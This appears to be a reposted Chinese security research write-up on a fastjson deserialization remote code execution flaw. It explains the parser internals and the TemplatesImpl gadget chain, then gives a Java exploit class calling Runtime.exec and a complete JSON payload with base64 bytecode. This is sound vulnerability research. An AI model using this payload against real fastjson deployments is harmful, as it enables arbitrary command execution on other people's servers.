Fastjson Unserialize Vulnerability Write Up

2019-04-04 约 2252 字 预计阅读 5 分钟

声明:本文 【Fastjson Unserialize Vulnerability Write Up】 由作者 ricterz 于 2017-05-04 06:46:00 首发 先知社区 曾经 浏览数 3785 次

感谢 ricterz 的辛苦付出!

0x00

fastjson 日前爆了一个反序列化导致 RCE 的漏洞,但是网上没有流传的 exploit。今天 @廖新喜1 发了一张截图,隐约透露出的内容是利用
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
来执行命令。我当时菊花一紧,这不就是我最开始看 ysoserial 的时候的那个执行链吗。奈何太菜,调试不出来。
不过既然
dalao 都已经调试出来了,那么肯定用这个没错了。打了一把 CS:GO(Steam:ricter_z)后操起 IDEA 开始调试。
因为对 Java
人生地不熟,更别说什么 TemplatesImpl 了。首先看一下 TemplatesImpl
的源码,没看出什么来。总之先按照截图慢慢凑一下 payload 吧。

...

于是终于凑出来了。紧接着单步调试跟了一下 fastjson 解析流程,终于搞明白原理了。

我好菜啊.jpg

0x01 fastjson 的特性

对于 byte[] 的 base64 decode

对于 byte[] 类型的成员变量,在 deserialze 的时候会调用 lexer.bytesValue

public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
    JSONLexer lexer = parser.lexer;
    if(lexer.token() == 8) {
        lexer.nextToken(16);
        return null;
    } else if(lexer.token() == 4) {
        byte[] bytes = lexer.bytesValue();
        lexer.nextToken(16);
        return bytes;

bytesValue 方法为:

public byte[] bytesValue() {
    return IOUtils.decodeBase64(this.text, this.np + 1, this.sp);
}

private 成员变量的处理

对于一个 Class:

class ModelTest {
    public String field1;
    public int field2;
    private String field3;
    private int field4;

    public String getField3() {
        return field3;
    }

    public void setField3(String s) {
        field3 = s;
    }
}

默认情况下,fastjson 会把一些符合条件的方法和字段加到字段列表里。

  • field1,public 的成员变量
  • field2,同上
  • field3,存在 getField3/setField3 方法

fastjson 判断 field3 的条件如下:

methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))

并且:

methodName.startsWith("set")

对于 field4,在设置了 SupportNonPublicField 后,也会支持解析。具体可以查看 Wiki:https://github.com/alibaba/fastjson/wiki/Feature_SupportNonPublicField_cn

对于有 getter 没有 setter 的变量,fastjson 会在 JavaBeanInfo.class 的第 459 行处理(版本不同可能有偏差):

methodName.length() >= 4 && 
!Modifier.isStatic(method.getModifiers()) &&
methodName.startsWith("get") && 
Character.isUpperCase(methodName.charAt(3)) && 
method.getParameterTypes().length == 0 &&
(
Collection.class.isAssignableFrom(method.getReturnType()) || 
Map.class.isAssignableFrom(method.getReturnType()) || 
AtomicBoolean.class == method.getReturnType() ||
AtomicInteger.class == method.getReturnType() ||
AtomicLong.class == method.getReturnType()
)

关注括号里的几个判断,需要满足 X.class.isAssignableFrom(method.getReturnType()) 才可以进入 if 语句。

关键点来了:在 TemplatesImpl.java 中,getOutputProperties 方法返回类型是 Properties,而 Properties extends Hashtable&lt;&gt;Hashtableimplements Map,所以可以通过这个判断。

0x02 漏洞触发原理

_outputProperties 触发 getOutputProperties 方法调用

我一直很疑惑,为什么 _outputProperties 会使得 getOutputProperties 被调用呢?于是我深入的单步了一下,发现 fastjson 有一个神奇的 smartMatch 方法:

public FieldDeserializer smartMatch(String key) {
    if(key == null) {
        return null;
    } else {
        FieldDeserializer fieldDeserializer = this.getFieldDeserializer(key);
        boolean snakeOrkebab;
        int i;
        int var6;
        if(fieldDeserializer == null) {
            snakeOrkebab = key.startsWith("is");
            FieldDeserializer[] var4 = this.sortedFieldDeserializers;
            i = var4.length;
            ...
        }
        if(fieldDeserializer == null) {
            snakeOrkebab = false;
            String key2 = null;

            for(i = 0; i < key.length(); ++i) {
                char ch = key.charAt(i);
                if(ch == 95) {
                    snakeOrkebab = true;
                    // 这里把下划线替换掉了,所以可以匹配
                    key2 = key.replaceAll("_", "");
                    break;
                }

                if(ch == 45) {
                    snakeOrkebab = true;
                    key2 = key.replaceAll("-", "");
                    break;
                }
            }

匹配完成后,返回了一个 FieldDeserializer 对象,接着下面的代码调用此处:

((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);

parseField 调用了 setValue

public void setValue(Object object, Object value) {
    if(value != null || !this.fieldInfo.fieldClass.isPrimitive()) {
        try {
            Method method = this.fieldInfo.method;
            if(method != null) {
                if(this.fieldInfo.getOnly) {
                    if(this.fieldInfo.fieldClass == AtomicInteger.class) 
                    {
                        ..
                    } else if(Map.class.isAssignableFrom(method.getReturnType())) {
                        Map map = (Map)method.invoke(object, new Object[0]);

这里 method 就是 getOutputProperties 方法了。
通过
getOutputProperties 方法,我们可以构造一个 exploit 类来进行攻击。

调用链

TemplatesImpl.javagetOutputProperties 函数为:

public synchronized Properties getOutputProperties() {
    try {
        // 调用 newTransformer
        return newTransformer().getOutputProperties();

接着 newTransformer 函数调用了 getTransletInstance

public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;
    // 调用 getTransletInstance
    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,

getTransletInstance 调用:

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        // 这里实例化了 _class[_transletIndex]
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

所以编写一个继承自 AbstractTranslet 类的类后,在构造器执行代码即可。

0x03 从 0 开始的构造 exploit

TemplatesImpl.java 构造 gadgets

TemplatesImpl.javadefineTransletClasses 中,通过 for 循环取出 _bytecodes 中的值,接着调用 loader.defineClass 来定义类。

private void defineTransletClasses()
    throws TransformerConfigurationException {
    ...
    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);

接着,会判断这个类的超类是不是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类,如果是,把 i 赋给 _transletIndex

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
    _transletIndex = i;
}
else {
     _auxClasses.put(_class[i].getName(), _class[i]);
}

接着通过上述的调用链:

getOutputProperties() -> getTransletInstance() -> getTransletInstance() -> AbstractTranslet newInstance()

来实例化 exploit 类。

构造 exploit

根据以上内容,我们需要构造的 exploit 应满足如下条件:

  • 合法的 TemplatesImpl
  • 合法的 _bytecodes,可以正确解析成类
  • 类需要继承自 AbstractTranslet,构造器中存放执行命令的内容

首先利用 @type 声明一个 TemplatesImpl

{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": [], "_name": "a"}

同时根据源代码,我们还要构造一个 _tfactory 加到上面的 JSON 里:

"_tfactory": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"}

为了触发漏洞点,我们还需要设置 _outputProperties。

"_outputProperties": {"@type": "java.util.Properties"}

接着构造 _bytecodes。由于我们知道 fastjson 会帮助我们解码 base64,所以构造好直接 base64 编码然后填入 _bytecodes 即可。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Exp extends AbstractTranslet {

    public Exp() {
        try {
            Runtime.getRuntime().exec("open /Applications/Calculator.app");
        } catch (IOException e) {}
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

}

由于 defineTransletClasses 的一个 bug,我们的 _bytescode 需要两项才可以。具体 bug 点在 defineTransletClasses 函数:

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

由于没有考虑 classCount == 1 的情况,导致当 classCount 为 1
时,_auxClasses
null(扶额)。

这里是我犯蠢了,其实直接构造一个正确的类即可。

最终 payload 为(注意,这里是 Java 1.8,如果是 1.6 版本的话需要在 1.6 下编译 Exp 类,再写入 _bytecodes):

{
  "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes": [
    "yv66vgAAADQALwoABwAhCgAiACMIACQKACIAJQcAJgcAJwcAKAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAbTG1haW4vamF2YS9jb20vUmljdGVyWi9FeHA7AQANU3RhY2tNYXBUYWJsZQcAJwcAJgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwApAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAIRXhwLmphdmEMAAgACQcAKgwAKwAsAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAtAC4BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAZbWFpbi9qYXZhL2NvbS9SaWN0ZXJaL0V4cAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAADAAEACAAJAAEACgAAAGoAAgACAAAAEiq3AAG4AAISA7YABFenAARMsQABAAQADQAQAAUAAwALAAAAFgAFAAAADgAEABAADQATABAAEQARABQADAAAAAwAAQAAABIADQAOAAAADwAAABAAAv8AEAABBwAQAAEHABEAAAEAEgATAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAYAAwAAAAgAAMAAAABAA0ADgAAAAAAAQAUABUAAQAAAAEAFgAXAAIAGAAAAAQAAQAZAAEAEgAaAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAdAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAUABUAAQAAAAEAGwAcAAIAAAABAB0AHgADABgAAAAEAAEAGQABAB8AAAACACA="
  ],
  "_name": "a",
  "_tfactory": {
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"
  },
  "_outputProperties": {
    "@type": "java.util.Properties"
  }
}

效果:

0x04 总结

说是个 RCE,但是利用起来环境却很苛刻。如果需要利用的话,对于 JSON 的处理函数应该为:

JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);

但是大多数人都是直接 JSON.parse 一把梭,设置
Feature.SupportNonPublicField 的人少之又少,影响面会变小很多。
其他也没有什么好说的,再次感谢
@廖新喜1,如果不是那张截图我仍然还在把 fastjson 这事儿扔在
TODO 里吧(。
另外,总感觉利用 TemplatesImpl 这个真的是很多巧合的结合才会成功。
首先是
fastjson 的限制,然而 getOutputProperties 的返回值类型是
Properties。如果没有这一点,这个调用链也连接不起来。
其次,由于 fastjson 的
smartMatch,我们才会通过 _outputProperties 去触发
getOutputProperties

构造完的我莫名其妙,但是了解原理后叹为观止。

关键词:[‘技术文章’, ‘技术文章’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now